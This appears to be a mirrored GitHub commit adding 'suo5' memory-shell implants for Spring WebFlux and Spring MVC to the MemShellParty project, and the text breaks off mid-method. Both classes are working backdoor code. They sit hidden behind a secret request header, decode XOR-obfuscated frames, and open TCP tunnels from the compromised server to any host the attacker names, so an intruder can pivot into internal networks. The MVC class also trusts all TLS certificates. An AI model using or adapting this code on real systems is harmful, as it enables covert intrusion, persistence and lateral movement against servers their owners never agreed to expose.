mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
feat: support other middleware suo5 shell
This commit is contained in:
ReaJason
@@ -2,6 +2,9 @@ group = 'com.reajason.javaweb'
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version = rootProject.version
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java {
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toolchain {
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languageVersion = JavaLanguageVersion.of(8)
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}
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sourceCompatibility = JavaVersion.VERSION_1_8
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targetCompatibility = JavaVersion.VERSION_1_8
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}
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+448
@@ -0,0 +1,448 @@
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package com.reajason.javaweb.memshell.springwebflux.suo5;
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import io.netty.channel.ChannelOption;
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import org.springframework.core.io.buffer.DataBuffer;
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import org.springframework.core.io.buffer.DataBufferUtils;
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import org.springframework.http.MediaType;
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import org.springframework.http.server.reactive.ServerHttpRequest;
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import org.springframework.http.server.reactive.ServerHttpResponse;
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import org.springframework.web.server.ServerWebExchange;
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import org.springframework.web.server.WebFilter;
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import org.springframework.web.server.WebFilterChain;
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import reactor.core.publisher.Flux;
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import reactor.core.publisher.Mono;
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import reactor.core.publisher.Sinks;
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import reactor.core.scheduler.Schedulers;
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import reactor.netty.Connection;
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import reactor.netty.NettyOutbound;
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import reactor.netty.tcp.TcpClient;
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import java.io.ByteArrayOutputStream;
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import java.io.IOException;
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import java.lang.reflect.Field;
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import java.net.InetSocketAddress;
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import java.nio.BufferOverflowException;
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import java.nio.ByteBuffer;
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import java.util.HashMap;
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import java.util.concurrent.atomic.AtomicBoolean;
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import java.util.concurrent.atomic.AtomicReference;
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/**
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* @author ReaJason
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*/
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public class Suo5WebFilter implements WebFilter {
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public static HashMap ctx = new HashMap();
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public static String headerName;
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public static String headerValue;
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public Suo5WebFilter() {
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}
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@Override
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public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) {
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ServerHttpRequest request = exchange.getRequest();
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ServerHttpResponse response = exchange.getResponse();
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String value = exchange.getRequest().getHeaders().getFirst(headerName);
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if (value == null || !value.contains(headerValue)) {
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return chain.filter(exchange);
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}
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MediaType contentType = request.getHeaders().getContentType();
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if (contentType == null) {
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return chain.filter(exchange);
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}
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if (contentType.toString().equals("application/plain")) {
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return request.getBody().flatMap(databuffer -> response.writeWith(Mono.just(databuffer))).then();
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}
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try {
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if (contentType.toString().equals("application/octet-stream")) {
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return newfullProxy(request, response);
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} else {
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return newHalfProxy(request, response);
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}
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} catch (Exception ignored) {
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}
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return Mono.empty();
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}
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private Mono<Void> newfullProxy(ServerHttpRequest request, ServerHttpResponse response) throws Exception {
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response.getHeaders().set("X-Accel-Buffering", "no");
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response.getHeaders().setContentType(MediaType.APPLICATION_OCTET_STREAM);
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Sinks.Many<byte[]> sink = Sinks.many().unicast().onBackpressureBuffer();
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Flux<HashMap<String, byte[]>> dataMaps = unmarshal(request.getBody());
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AtomicBoolean handshake = new AtomicBoolean(false);
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AtomicReference<Connection> connection = new AtomicReference<>(null);
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AtomicReference<NettyOutbound> out = new AtomicReference<>(null);
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dataMaps.doOnComplete(sink::tryEmitComplete)
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.mapNotNull(dataMap -> {
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if (!handshake.get()) {
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byte[] ac = dataMap.get("ac");
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if (ac.length != 1 || ac[0] != 0x00) {
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sink.tryEmitComplete();
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return null;
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}
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handshake.set(true);
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String host = new String(dataMap.get("h"));
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int port = Integer.parseInt(new String(dataMap.get("p")));
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if (port == 0) {
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InetSocketAddress addr = request.getLocalAddress();
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if (addr != null) {
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host = addr.getHostString();
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port = addr.getPort();
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}
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}
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try {
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TcpClient client = TcpClient.create()
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.host(host).port(port)
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.option(ChannelOption.CONNECT_TIMEOUT_MILLIS, 3000)
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.doOnConnected(c -> {
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connection.set(c);
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out.set(c.outbound());
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sink.tryEmitNext(marshal(newStatus((byte) 0x00)));
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}).doOnDisconnected(s -> {
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sink.tryEmitComplete();
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}).handle((input, output) -> input.receive()
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.asByteArray()
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.flatMap(s -> {
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sink.tryEmitNext(marshal(newData(s)));
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return Mono.empty();
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}));
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client.connect().subscribe(null, (e) -> {
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sink.tryEmitNext(marshal(newStatus((byte) 0x01)));
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sink.tryEmitComplete();
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});
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} catch (Exception e) {
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if (connection.get() != null && !connection.get().isDisposed()) {
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connection.get().dispose();
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}
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sink.tryEmitNext(marshal(newStatus((byte) 0x01)));
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sink.tryEmitComplete();
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}
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} else {
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byte[] action = dataMap.get("ac");
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try {
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if (action == null || action.length != 1 || action[0] == 0x02) {
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throw new RuntimeException("remove");
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} else if (action[0] == 0x01) {
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byte[] data = dataMap.get("dt");
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if (data.length != 0) {
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out.get().sendByteArray(Mono.just(data)).then().subscribe();
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}
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}
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} catch (Exception e) {
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if (connection.get() != null && !connection.get().isDisposed()) {
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connection.get().dispose();
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}
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sink.tryEmitComplete();
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}
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}
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return null;
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}).subscribeOn(Schedulers.boundedElastic()).subscribe();
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return response.writeWith(sink.asFlux().map(response.bufferFactory()::wrap)).then();
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}
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private Mono<Void> newHalfProxy(ServerHttpRequest request, ServerHttpResponse response) throws Exception {
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/*
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EmitterProcessor<byte[]> processor = EmitterProcessor.create();
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FluxSink<byte[]> sink = processor.serialize().sink();
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*/
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response.getHeaders().set("X-Accel-Buffering", "no");
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response.getHeaders().setContentType(MediaType.APPLICATION_OCTET_STREAM);
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Sinks.Many<byte[]> sink = Sinks.many().unicast().onBackpressureBuffer();
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Flux<HashMap<String, byte[]>> dataMaps = unmarshal(request.getBody());
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dataMaps.next()
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.subscribeOn(Schedulers.boundedElastic())
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.subscribe((dataMap -> {
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if (dataMap == null) {
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sink.tryEmitComplete();
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return;
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}
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String clientId = new String(dataMap.get("id"));
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byte[] actionData = dataMap.get("ac");
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if (actionData.length != 1) {
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sink.tryEmitComplete();
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return;
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}
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/*
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ActionCreate byte = 0x00
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ActionData byte = 0x01
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ActionDelete byte = 0x02
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ActionHeartbeat byte = 0x03
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*/
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byte action = actionData[0];
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if (action == 0x02) {
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Object[] obj = (Object[]) this.remove(clientId);
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if (obj != null) {
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Connection conn = (Connection) obj[0];
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conn.dispose();
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}
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sink.tryEmitComplete();
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return;
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} else if (action == 0x01) {
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Object[] obj = (Object[]) this.get(clientId);
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if (obj == null) {
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sink.tryEmitNext(marshal(newDel()));
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} else {
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byte[] data = dataMap.get("dt");
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if (data.length != 0) {
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((NettyOutbound) obj[1]).sendByteArray(Mono.just(data))
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.then()
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.subscribeOn(Schedulers.boundedElastic())
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.subscribe();
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}
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}
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sink.tryEmitComplete();
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return;
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} else if (action != 0x00) {
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sink.tryEmitComplete();
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return;
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}
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// 0x00 create new tunnel
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String host = new String(dataMap.get("h"));
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int port = Integer.parseInt(new String(dataMap.get("p")));
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if (port == 0) {
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InetSocketAddress addr = request.getLocalAddress();
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if (addr != null) {
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host = addr.getHostString();
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port = addr.getPort();
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}
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}
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try {
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TcpClient client = TcpClient.create()
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.host(host).port(port)
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.option(ChannelOption.CONNECT_TIMEOUT_MILLIS, 3000)
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.doOnConnected(c -> {
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this.put(clientId, new Object[]{c, c.outbound()});
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sink.tryEmitNext(marshal(newStatus((byte) 0x00)));
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}).doOnDisconnected(s -> {
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this.remove(clientId);
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sink.tryEmitComplete();
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});
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client.connect()
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.subscribeOn(Schedulers.boundedElastic())
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.subscribe(conn -> {
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conn.inbound()
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.receive()
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.asByteArray()
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.flatMap(s -> {
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sink.tryEmitNext(marshal(newData(s)));
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return Mono.empty();
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}).then().subscribe();
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}, (err) -> {
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sink.tryEmitNext(marshal(newStatus((byte) 0x01)));
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sink.tryEmitComplete();
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});
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} catch (Exception e) {
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}
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}));
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return response.writeWith(sink.asFlux().map(response.bufferFactory()::wrap)).then();
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}
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private HashMap newData(byte[] data) {
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HashMap m = new HashMap();
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m.put("ac", new byte[]{0x01});
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m.put("dt", data);
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return m;
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}
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private HashMap newDel() {
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HashMap m = new HashMap();
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m.put("ac", new byte[]{0x02});
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return m;
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}
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private HashMap newStatus(byte b) {
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HashMap m = new HashMap();
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m.put("s", new byte[]{b});
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return m;
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}
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byte[] u32toBytes(int i) {
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byte[] result = new byte[4];
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result[0] = (byte) (i >> 24);
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result[1] = (byte) (i >> 16);
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result[2] = (byte) (i >> 8);
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result[3] = (byte) (i);
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return result;
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}
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int bytesToU32(byte[] bytes) {
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return ((bytes[0] & 0xFF) << 24) | ((bytes[1] & 0xFF) << 16) | ((bytes[2] & 0xFF) << 8) | ((bytes[3] & 0xFF) << 0);
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}
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synchronized void put(String k, Object v) {
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ctx.put(k, v);
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}
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synchronized Object get(String k) {
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return ctx.get(k);
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}
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synchronized Object remove(String k) {
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return ctx.remove(k);
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}
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byte[] copyOfRange(byte[] original, int from, int to) {
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int newLength = to - from;
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if (newLength < 0) {
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throw new IllegalArgumentException(from + " > " + to);
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}
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byte[] copy = new byte[newLength];
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int copyLength = Math.min(original.length - from, newLength);
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// can't use System.arraycopy of Arrays.copyOf, there is no system in some environment
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// System.arraycopy(original, from, copy, 0, copyLength);
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for (int i = 0; i < copyLength; i++) {
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copy[i] = original[from + i];
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}
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return copy;
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}
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private byte[] marshal(HashMap m) {
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try {
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ByteArrayOutputStream buf = new ByteArrayOutputStream();
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Object[] keys = m.keySet().toArray();
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for (int i = 0; i < keys.length; i++) {
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String key = (String) keys[i];
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byte[] value = (byte[]) m.get(key);
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buf.write((byte) key.length());
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buf.write(key.getBytes());
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buf.write(u32toBytes(value.length));
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buf.write(value);
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}
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byte[] data = buf.toByteArray();
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ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length);
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dbuf.putInt(data.length);
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// xor key
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byte key = (byte) ((Math.random() * 255) + 1);
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dbuf.put(key);
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for (int i = 0; i < data.length; i++) {
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data[i] = (byte) (data[i] ^ key);
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}
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dbuf.put(data);
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return dbuf.array();
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} catch (Exception e) {
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e.printStackTrace();
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return new byte[]{};
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}
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}
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private Flux<HashMap<String, byte[]>> unmarshal(Flux<DataBuffer> inFlux) {
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final ByteBuffer[] buffers = {ByteBuffer.allocate(2048)};
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return Flux.create(sink -> {
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// onErrorComplete is too new to use
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inFlux.doOnComplete(sink::complete)
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.subscribeOn(Schedulers.boundedElastic())
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.subscribe(dataBuffer -> {
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try {
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ByteBuffer buffer = buffers[0];
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ByteBuffer byteBuffer = dataBuffer.asByteBuffer().asReadOnlyBuffer();
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while (byteBuffer.hasRemaining()) {
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byte b = byteBuffer.get();
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try {
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buffer.put(b);
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} catch (BufferOverflowException e) {
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ByteBuffer newBuffer = ByteBuffer.allocate(buffer.capacity() * 2);
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buffer.flip();
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newBuffer.put(buffer);
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buffer = newBuffer;
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buffers[0] = newBuffer;
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buffer.put(b);
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}
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buffer.flip();
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if (isCompleteMessage(buffer)) {
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HashMap<String, byte[]> result = processCompleteMessage(buffer);
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sink.next(result);
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buffer.compact();
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} else {
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buffer.position(buffer.limit());
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buffer.limit(buffer.capacity());
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}
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}
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} catch (Exception e) {
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sink.complete();
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} finally {
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DataBufferUtils.release(dataBuffer);
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}
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}, (e) -> {
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sink.complete();
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});
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});
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}
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private boolean isCompleteMessage(ByteBuffer buffer) {
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if (buffer.remaining() < 5) {
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return false; // 不足以读取消息头
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}
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int len = buffer.getInt(buffer.position()); // 读取长度但不移动position
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return buffer.remaining() >= 5 + len; // 检查是否有足够的数据
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}
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private static int MAX_LEN = 1024 * 1024 * 32;
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private HashMap<String, byte[]> processCompleteMessage(ByteBuffer buffer) throws Exception {
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int len = buffer.getInt();
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int x = buffer.get();
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if (len > MAX_LEN) {
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throw new IOException("invalid len");
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}
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byte[] bs = new byte[len];
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buffer.get(bs);
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||||
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||||
for (int i = 0; i < bs.length; i++) {
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bs[i] = (byte) (bs[i] ^ x);
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}
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||||
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HashMap<String, byte[]> m = new HashMap<>();
|
||||
int i = 0;
|
||||
while (i < bs.length - 1) {
|
||||
short kLen = bs[i];
|
||||
i += 1;
|
||||
if (i + kLen >= bs.length) {
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||||
throw new Exception("key len error");
|
||||
}
|
||||
if (kLen < 0) {
|
||||
throw new Exception("key len error");
|
||||
}
|
||||
byte[] keyBytes = copyOfRange(bs, i, i + kLen);
|
||||
String key = new String(keyBytes);
|
||||
i += kLen;
|
||||
|
||||
if (i + 4 >= bs.length) {
|
||||
throw new Exception("value len error");
|
||||
}
|
||||
byte[] vLenBytes = copyOfRange(bs, i, i + 4);
|
||||
int vLen = bytesToU32(vLenBytes);
|
||||
i += 4;
|
||||
|
||||
if (vLen < 0 || i + vLen > bs.length) {
|
||||
throw new Exception("value error");
|
||||
}
|
||||
byte[] value = copyOfRange(bs, i, i + vLen);
|
||||
i += vLen;
|
||||
|
||||
m.put(key, value);
|
||||
}
|
||||
return m;
|
||||
}
|
||||
|
||||
public static Object getFieldValue(Object obj, String fieldName, boolean superClass) throws Exception {
|
||||
Field f;
|
||||
if (superClass) {
|
||||
f = obj.getClass().getSuperclass().getDeclaredField(fieldName);
|
||||
} else {
|
||||
f = obj.getClass().getDeclaredField(fieldName);
|
||||
}
|
||||
f.setAccessible(true);
|
||||
return f.get(obj);
|
||||
}
|
||||
}
|
||||
+567
@@ -0,0 +1,567 @@
|
||||
package com.reajason.javaweb.memshell.springwebmvc.suo5;
|
||||
|
||||
import org.springframework.web.servlet.ModelAndView;
|
||||
import org.springframework.web.servlet.mvc.Controller;
|
||||
|
||||
import javax.net.ssl.*;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.io.*;
|
||||
import java.net.*;
|
||||
import java.nio.ByteBuffer;
|
||||
import java.security.cert.CertificateException;
|
||||
import java.security.cert.X509Certificate;
|
||||
import java.util.Enumeration;
|
||||
import java.util.HashMap;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class Suo5ControllerHandler implements Controller, Runnable, HostnameVerifier, X509TrustManager {
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
public static HashMap addrs = collectAddr();
|
||||
public static HashMap ctx = new HashMap();
|
||||
|
||||
InputStream gInStream;
|
||||
OutputStream gOutStream;
|
||||
|
||||
|
||||
public Suo5ControllerHandler() {
|
||||
}
|
||||
|
||||
public Suo5ControllerHandler(InputStream gInStream, OutputStream gOutStream) {
|
||||
this.gInStream = gInStream;
|
||||
this.gOutStream = gOutStream;
|
||||
}
|
||||
|
||||
public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {
|
||||
try {
|
||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||
String contentType = request.getContentType();
|
||||
if (contentType == null) {
|
||||
return null;
|
||||
}
|
||||
try {
|
||||
if (contentType.equals("application/plain")) {
|
||||
tryFullDuplex(request, response);
|
||||
return null;
|
||||
}
|
||||
|
||||
if (contentType.equals("application/octet-stream")) {
|
||||
processDataBio(request, response);
|
||||
} else {
|
||||
processDataUnary(request, response);
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
// System.out.printf("process data error %s\n", e);
|
||||
// e.printStackTrace();
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
|
||||
public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException {
|
||||
int bufferOffset = 0;
|
||||
while (bufferOffset < b.length) {
|
||||
int readLength = b.length - bufferOffset;
|
||||
int readResult = is.read(b, bufferOffset, readLength);
|
||||
if (readResult == -1) break;
|
||||
bufferOffset += readResult;
|
||||
}
|
||||
}
|
||||
|
||||
public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException {
|
||||
InputStream in = request.getInputStream();
|
||||
byte[] data = new byte[32];
|
||||
readFull(in, data);
|
||||
OutputStream out = response.getOutputStream();
|
||||
out.write(data);
|
||||
out.flush();
|
||||
}
|
||||
|
||||
|
||||
private HashMap newCreate(byte s) {
|
||||
HashMap m = new HashMap();
|
||||
m.put("ac", new byte[]{0x04});
|
||||
m.put("s", new byte[]{s});
|
||||
return m;
|
||||
}
|
||||
|
||||
private HashMap newData(byte[] data) {
|
||||
HashMap m = new HashMap();
|
||||
m.put("ac", new byte[]{0x01});
|
||||
m.put("dt", data);
|
||||
return m;
|
||||
}
|
||||
|
||||
private HashMap newDel() {
|
||||
HashMap m = new HashMap();
|
||||
m.put("ac", new byte[]{0x02});
|
||||
return m;
|
||||
}
|
||||
|
||||
private HashMap newStatus(byte b) {
|
||||
HashMap m = new HashMap();
|
||||
m.put("s", new byte[]{b});
|
||||
return m;
|
||||
}
|
||||
|
||||
byte[] u32toBytes(int i) {
|
||||
byte[] result = new byte[4];
|
||||
result[0] = (byte) (i >> 24);
|
||||
result[1] = (byte) (i >> 16);
|
||||
result[2] = (byte) (i >> 8);
|
||||
result[3] = (byte) (i /*>> 0*/);
|
||||
return result;
|
||||
}
|
||||
|
||||
int bytesToU32(byte[] bytes) {
|
||||
return ((bytes[0] & 0xFF) << 24) |
|
||||
((bytes[1] & 0xFF) << 16) |
|
||||
((bytes[2] & 0xFF) << 8) |
|
||||
((bytes[3] & 0xFF) << 0);
|
||||
}
|
||||
|
||||
synchronized void put(String k, Object v) {
|
||||
ctx.put(k, v);
|
||||
}
|
||||
|
||||
synchronized Object get(String k) {
|
||||
return ctx.get(k);
|
||||
}
|
||||
|
||||
synchronized Object remove(String k) {
|
||||
return ctx.remove(k);
|
||||
}
|
||||
|
||||
byte[] copyOfRange(byte[] original, int from, int to) {
|
||||
int newLength = to - from;
|
||||
if (newLength < 0) {
|
||||
throw new IllegalArgumentException(from + " > " + to);
|
||||
}
|
||||
byte[] copy = new byte[newLength];
|
||||
int copyLength = Math.min(original.length - from, newLength);
|
||||
// can't use System.arraycopy of Arrays.copyOf, there is no system in some environment
|
||||
// System.arraycopy(original, from, copy, 0, copyLength);
|
||||
for (int i = 0; i < copyLength; i++) {
|
||||
copy[i] = original[from + i];
|
||||
}
|
||||
return copy;
|
||||
}
|
||||
|
||||
|
||||
private byte[] marshal(HashMap m) throws IOException {
|
||||
ByteArrayOutputStream buf = new ByteArrayOutputStream();
|
||||
Object[] keys = m.keySet().toArray();
|
||||
for (int i = 0; i < keys.length; i++) {
|
||||
String key = (String) keys[i];
|
||||
byte[] value = (byte[]) m.get(key);
|
||||
buf.write((byte) key.length());
|
||||
buf.write(key.getBytes());
|
||||
buf.write(u32toBytes(value.length));
|
||||
buf.write(value);
|
||||
}
|
||||
|
||||
byte[] data = buf.toByteArray();
|
||||
ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length);
|
||||
dbuf.putInt(data.length);
|
||||
// xor key
|
||||
byte key = (byte) ((Math.random() * 255) + 1);
|
||||
dbuf.put(key);
|
||||
for (int i = 0; i < data.length; i++) {
|
||||
data[i] = (byte) (data[i] ^ key);
|
||||
}
|
||||
dbuf.put(data);
|
||||
return dbuf.array();
|
||||
}
|
||||
|
||||
private HashMap unmarshal(InputStream in) throws Exception {
|
||||
byte[] header = new byte[4 + 1]; // size and datatype
|
||||
readFull(in, header);
|
||||
// read full
|
||||
ByteBuffer bb = ByteBuffer.wrap(header);
|
||||
int len = bb.getInt();
|
||||
int x = bb.get();
|
||||
if (len > 1024 * 1024 * 32) {
|
||||
throw new IOException("invalid len");
|
||||
}
|
||||
byte[] bs = new byte[len];
|
||||
readFull(in, bs);
|
||||
for (int i = 0; i < bs.length; i++) {
|
||||
bs[i] = (byte) (bs[i] ^ x);
|
||||
}
|
||||
HashMap m = new HashMap();
|
||||
byte[] buf;
|
||||
for (int i = 0; i < bs.length - 1; ) {
|
||||
short kLen = bs[i];
|
||||
i += 1;
|
||||
if (i + kLen >= bs.length) {
|
||||
throw new Exception("key len error");
|
||||
}
|
||||
if (kLen < 0) {
|
||||
throw new Exception("key len error");
|
||||
}
|
||||
buf = copyOfRange(bs, i, i + kLen);
|
||||
String key = new String(buf);
|
||||
i += kLen;
|
||||
|
||||
if (i + 4 >= bs.length) {
|
||||
throw new Exception("value len error");
|
||||
}
|
||||
buf = copyOfRange(bs, i, i + 4);
|
||||
int vLen = bytesToU32(buf);
|
||||
i += 4;
|
||||
if (vLen < 0) {
|
||||
throw new Exception("value error");
|
||||
}
|
||||
|
||||
if (i + vLen > bs.length) {
|
||||
throw new Exception("value error");
|
||||
}
|
||||
byte[] value = copyOfRange(bs, i, i + vLen);
|
||||
i += vLen;
|
||||
|
||||
m.put(key, value);
|
||||
}
|
||||
return m;
|
||||
}
|
||||
|
||||
private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception {
|
||||
final InputStream reqInputStream = request.getInputStream();
|
||||
HashMap dataMap = unmarshal(reqInputStream);
|
||||
|
||||
byte[] action = (byte[]) dataMap.get("ac");
|
||||
if (action.length != 1 || action[0] != 0x00) {
|
||||
resp.setStatus(403);
|
||||
return;
|
||||
}
|
||||
resp.setBufferSize(512);
|
||||
final OutputStream respOutStream = resp.getOutputStream();
|
||||
|
||||
// 0x00 create socket
|
||||
resp.setHeader("X-Accel-Buffering", "no");
|
||||
Socket sc;
|
||||
try {
|
||||
String host = new String((byte[]) dataMap.get("h"));
|
||||
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
|
||||
if (port == 0) {
|
||||
try {
|
||||
// Cannot convert Integer to int
|
||||
port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
|
||||
} catch (Exception e) {
|
||||
port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
|
||||
}
|
||||
}
|
||||
sc = new Socket();
|
||||
sc.connect(new InetSocketAddress(host, port), 5000);
|
||||
} catch (Exception e) {
|
||||
respOutStream.write(marshal(newStatus((byte) 0x01)));
|
||||
respOutStream.flush();
|
||||
respOutStream.close();
|
||||
return;
|
||||
}
|
||||
|
||||
respOutStream.write(marshal(newStatus((byte) 0x00)));
|
||||
respOutStream.flush();
|
||||
resp.flushBuffer();
|
||||
|
||||
final OutputStream scOutStream = sc.getOutputStream();
|
||||
final InputStream scInStream = sc.getInputStream();
|
||||
|
||||
Thread t = null;
|
||||
try {
|
||||
Suo5ControllerHandler p = new Suo5ControllerHandler(scInStream, respOutStream);
|
||||
t = new Thread(p);
|
||||
t.start();
|
||||
readReq(reqInputStream, scOutStream);
|
||||
} catch (Exception e) {
|
||||
// System.out.printf("pipe error, %s\n", e);
|
||||
} finally {
|
||||
sc.close();
|
||||
respOutStream.close();
|
||||
if (t != null) {
|
||||
t.join();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException {
|
||||
byte[] readBuf = new byte[1024 * 8];
|
||||
while (true) {
|
||||
int n = inputStream.read(readBuf);
|
||||
if (n <= 0) {
|
||||
break;
|
||||
}
|
||||
byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n);
|
||||
if (needMarshal) {
|
||||
dataTmp = marshal(newData(dataTmp));
|
||||
}
|
||||
outputStream.write(dataTmp);
|
||||
outputStream.flush();
|
||||
}
|
||||
}
|
||||
|
||||
private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception {
|
||||
while (true) {
|
||||
HashMap dataMap;
|
||||
dataMap = unmarshal(bufInputStream);
|
||||
|
||||
byte[] actions = (byte[]) dataMap.get("ac");
|
||||
if (actions.length != 1) {
|
||||
return;
|
||||
}
|
||||
byte action = actions[0];
|
||||
if (action == 0x02) {
|
||||
socketOutStream.close();
|
||||
return;
|
||||
} else if (action == 0x01) {
|
||||
byte[] data = (byte[]) dataMap.get("dt");
|
||||
if (data.length != 0) {
|
||||
socketOutStream.write(data);
|
||||
socketOutStream.flush();
|
||||
}
|
||||
} else if (action == 0x03) {
|
||||
continue;
|
||||
} else {
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws
|
||||
Exception {
|
||||
InputStream is = request.getInputStream();
|
||||
BufferedInputStream reader = new BufferedInputStream(is);
|
||||
HashMap dataMap;
|
||||
dataMap = unmarshal(reader);
|
||||
|
||||
|
||||
String clientId = new String((byte[]) dataMap.get("id"));
|
||||
byte[] actions = (byte[]) dataMap.get("ac");
|
||||
if (actions.length != 1) {
|
||||
resp.setStatus(403);
|
||||
return;
|
||||
}
|
||||
/*
|
||||
ActionCreate byte = 0x00
|
||||
ActionData byte = 0x01
|
||||
ActionDelete byte = 0x02
|
||||
ActionHeartbeat byte = 0x03
|
||||
*/
|
||||
byte action = actions[0];
|
||||
byte[] redirectData = (byte[]) dataMap.get("r");
|
||||
boolean needRedirect = redirectData != null && redirectData.length > 0;
|
||||
String redirectUrl = "";
|
||||
if (needRedirect) {
|
||||
dataMap.remove("r");
|
||||
redirectUrl = new String(redirectData);
|
||||
needRedirect = !isLocalAddr(redirectUrl);
|
||||
}
|
||||
// load balance, send request with data to request url
|
||||
// action 0x00 need to pipe, see below
|
||||
if (needRedirect && action >= 0x01 && action <= 0x03) {
|
||||
HttpURLConnection conn = redirect(request, dataMap, redirectUrl);
|
||||
conn.disconnect();
|
||||
return;
|
||||
}
|
||||
|
||||
resp.setBufferSize(512);
|
||||
OutputStream respOutStream = resp.getOutputStream();
|
||||
if (action == 0x02) {
|
||||
Object o = this.get(clientId);
|
||||
if (o == null) return;
|
||||
OutputStream scOutStream = (OutputStream) o;
|
||||
scOutStream.close();
|
||||
return;
|
||||
} else if (action == 0x01) {
|
||||
Object o = this.get(clientId);
|
||||
if (o == null) {
|
||||
respOutStream.write(marshal(newDel()));
|
||||
respOutStream.flush();
|
||||
respOutStream.close();
|
||||
return;
|
||||
}
|
||||
OutputStream scOutStream = (OutputStream) o;
|
||||
byte[] data = (byte[]) dataMap.get("dt");
|
||||
if (data.length != 0) {
|
||||
scOutStream.write(data);
|
||||
scOutStream.flush();
|
||||
}
|
||||
respOutStream.close();
|
||||
return;
|
||||
} else {
|
||||
}
|
||||
|
||||
if (action != 0x00) {
|
||||
return;
|
||||
}
|
||||
// 0x00 create new tunnel
|
||||
resp.setHeader("X-Accel-Buffering", "no");
|
||||
String host = new String((byte[]) dataMap.get("h"));
|
||||
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
|
||||
if (port == 0) {
|
||||
try {
|
||||
port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
|
||||
} catch (Exception e) {
|
||||
port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
|
||||
}
|
||||
}
|
||||
|
||||
InputStream readFrom;
|
||||
Socket sc = null;
|
||||
HttpURLConnection conn = null;
|
||||
|
||||
if (needRedirect) {
|
||||
// pipe redirect stream and current response body
|
||||
conn = redirect(request, dataMap, redirectUrl);
|
||||
readFrom = conn.getInputStream();
|
||||
} else {
|
||||
// pipe socket stream and current response body
|
||||
try {
|
||||
sc = new Socket();
|
||||
sc.connect(new InetSocketAddress(host, port), 5000);
|
||||
readFrom = sc.getInputStream();
|
||||
this.put(clientId, sc.getOutputStream());
|
||||
respOutStream.write(marshal(newStatus((byte) 0x00)));
|
||||
respOutStream.flush();
|
||||
resp.flushBuffer();
|
||||
} catch (Exception e) {
|
||||
// System.out.printf("connect error %s\n", e);
|
||||
// e.printStackTrace();
|
||||
this.remove(clientId);
|
||||
respOutStream.write(marshal(newStatus((byte) 0x01)));
|
||||
respOutStream.flush();
|
||||
respOutStream.close();
|
||||
return;
|
||||
}
|
||||
}
|
||||
try {
|
||||
readSocket(readFrom, respOutStream, !needRedirect);
|
||||
} catch (Exception e) {
|
||||
// System.out.println("socket error " + e.toString());
|
||||
// e.printStackTrace();
|
||||
} finally {
|
||||
if (sc != null) {
|
||||
sc.close();
|
||||
}
|
||||
if (conn != null) {
|
||||
conn.disconnect();
|
||||
}
|
||||
respOutStream.close();
|
||||
this.remove(clientId);
|
||||
}
|
||||
}
|
||||
|
||||
public void run() {
|
||||
try {
|
||||
readSocket(gInStream, gOutStream, true);
|
||||
} catch (Exception e) {
|
||||
// System.out.printf("read socket error, %s\n", e);
|
||||
// e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
static HashMap collectAddr() {
|
||||
HashMap addrs = new HashMap();
|
||||
try {
|
||||
Enumeration nifs = NetworkInterface.getNetworkInterfaces();
|
||||
while (nifs.hasMoreElements()) {
|
||||
NetworkInterface nif = (NetworkInterface) nifs.nextElement();
|
||||
Enumeration addresses = nif.getInetAddresses();
|
||||
while (addresses.hasMoreElements()) {
|
||||
InetAddress addr = (InetAddress) addresses.nextElement();
|
||||
String s = addr.getHostAddress();
|
||||
if (s != null) {
|
||||
// fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4
|
||||
int ifaceIndex = s.indexOf('%');
|
||||
if (ifaceIndex != -1) {
|
||||
s = s.substring(0, ifaceIndex);
|
||||
}
|
||||
addrs.put((Object) s, (Object) Boolean.TRUE);
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
// System.out.printf("read socket error, %s\n", e);
|
||||
// e.printStackTrace();
|
||||
}
|
||||
return addrs;
|
||||
}
|
||||
|
||||
boolean isLocalAddr(String url) throws Exception {
|
||||
String ip = (new URL(url)).getHost();
|
||||
return addrs.containsKey(ip);
|
||||
}
|
||||
|
||||
HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception {
|
||||
String method = request.getMethod();
|
||||
URL u = new URL(rUrl);
|
||||
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
|
||||
conn.setRequestMethod(method);
|
||||
try {
|
||||
// conn.setConnectTimeout(3000);
|
||||
conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)});
|
||||
// conn.setReadTimeout(0);
|
||||
conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)});
|
||||
